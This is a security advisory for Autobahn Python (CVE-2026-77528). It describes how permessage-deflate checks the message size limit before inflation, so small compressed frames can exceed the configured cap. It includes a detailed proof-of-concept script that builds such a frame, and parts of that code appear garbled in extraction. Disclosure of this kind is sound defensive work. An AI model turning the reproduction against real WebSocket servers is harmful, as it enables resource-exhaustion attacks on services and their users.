GitHub Advisoryadvisory · PyPI

GHSA-hxp9-w8x3-p566 Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

MEDIUM Published 2026-09-22 Modified 2026-09-22 Official page ↗
Aliases
CVE-2026-77528
Ecosystem
PyPI
Packages
autobahn, crossbar
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-409, CWE-770
Reviewed
2026-09-22

Affected packages

• PyPI autobahn: < 26.7.1 → fixed in 26.7.1 • PyPI crossbar: < 26.7.1 → fixed in 26.7.1

Description

Summary Autobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide. Details The permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message. Reproduction ```py import sys import types import zlib if len(sys.argv) != 2: raise SystemExit("usage: autobahn_deflate_limit_poc.py ") SRC = sys.argv[1] class _Log: def debug(self, *args, **kwargs): pass def warn(self, *args, **kwargs): pass def error(self, *args, **kwargs): pass class _Timer: def call_later(self, *args, **kwargs): return self def cancel(self): pass txaio = types.ModuleType("txaio") txaio.make_logger = lambda: _Log() txaio.create_future = lambda result=None: result txaio.resolve = lambda future, value=None: None txaio.reject = lambda future, error=None: None txaio.add_callbacks = ( lambda future, callback=None, errback=None: callback(future) if callback else None ) txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs) txaio.failure_format_traceback = lambda err: str(err) txaio.call_later = lambda *args, **kwargs: _Timer() txaio.make_batched_timer = lambda *args, **kwargs: _Timer() txaio.time_ns = lambda: 0 txaio.use_asyncio = lambda: None txaio.use_twisted = lambda: None sys.modules["txaio"] = txaio hyperlink = types.ModuleType("hyperlink") class _URL: @classmethod def from_text(cls, text): return cls(text) def __init__(self, text): self._text = text def to_uri(self): return self def normalize(self): return self def to_text(self): return self._text hyperlink.URL = _URL sys.modules["hyperlink"] = hyperlink wamp_types = types.ModuleType("autobahn.wamp.types") class TransportDetails: pass wamp_types.TransportDetails = TransportDetails sys.modules["autobahn.wamp.types"] = wamp_types sys.path.insert(0, SRC + "/src") from autobahn.websocket.compress_deflate import PerMessageDeflate from autobahn.websocket.protocol import WebSocketProtocol class _Factory: isServer = True requireMaskedClientFrames = True maskServerFrames = False utf8validateIncoming = True applyMask = True maxFramePayloadSize = 128 maxMessagePayloadSize = 128 autoFragmentSize = 0 failByDrop = True echoCloseCodeReason = False openHandshakeTimeout = 5 closeHandshakeTimeout = 1 tcpNoDelay = True autoPingInterval = 0 autoPingTimeout = 0 autoPingSize = 12 autoPingRestartOnAnyTraffic = True logOctets = False logFrames = False trackTimings = False versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS webStatus = False perMessageCompressionAccept = staticmethod(lambda offer: None) serveFlashSocketPolicy = False flashSocketPolicy = "" allowedOrigins = ["*"] allowedOriginsPatterns = [] allowNullOrigin = True maxConnections = 0 trustXForwardedFor = 0 _batched_timer = _Timer() class CapturingProtocol(WebSocketProtocol): CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER def __init__(self): super().__init__() self.delivered = None def _onMessageBegin(self, isBinary): self.onMessageBegin(isBinary) def _onMessageFrameBegin(self, length): self.onMessageFrameBegin(length) def _onMessageFrameData(self, payload): self.onMessageFrameData(payload) def _onMessageFrameEnd(self): self.onMessageFrameEnd() def _onMessageFrame(self, payload): self.onMessageFrame(payload) def _onMessageEnd(self): self.onMessageEnd() def _onMessage(self, payload, isBinary): self.delivered = payload def sendData(self, data, sync=False, chopsize=None): pass def dropConnection(self, abort=True): self.droppedByMe = True self.state = WebSocketProtocol.STATE_CLOSED def masked_compressed_text_frame(payload): compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15) compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH) compressed = compressed[:-4] mask = b"\x11\x22\x33\x44" masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed)) if len(compressed) = limit: raise SystemExit("compressed fixture does not pass pre-inflate limit") proto = CapturingProtocol() proto.factory = _Factory() proto.log = _Log() proto._connectionMade() proto._perMessageCompress = PerMessageDeflate( is_server=True, server_no_context_takeover=False, client_no_context_takeover=False, server_max_window_bits=15, client_max_window_bits=15, mem_level=8, max_message_size=None, ) proto.state = WebSocketProtocol.STATE_OPEN proto.inside_message = False proto.current_frame = None proto.websocket_version = 13 proto._dataReceived(frame) delivered_len = len(proto.delivered or b"") if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded: print( "AUTOBAHN_DEFLATE_LIMIT_BYPASS " f"delivered_length={delivered_len} configured_limit={limit} " f"compressed_length={compressed_len}" ) raise SystemExit(0) print( "guarded " f"delivered_length={delivered_len} configured_limit={limit} " f"compressed_length={compressed_len} " f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}" ) raise SystemExit(1) ``` Impact A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data f…

Related

Alias · CVE (1)

  • CVE-2026-77528 Autobahn Python is a WebSocket and WAMP implementation for Python that supports Twisted and asyncio. vulnerability

Weakness · CWE (2)

  • CWE-409 Improper Handling of Highly Compressed Data (Data Amplification) weakness
  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References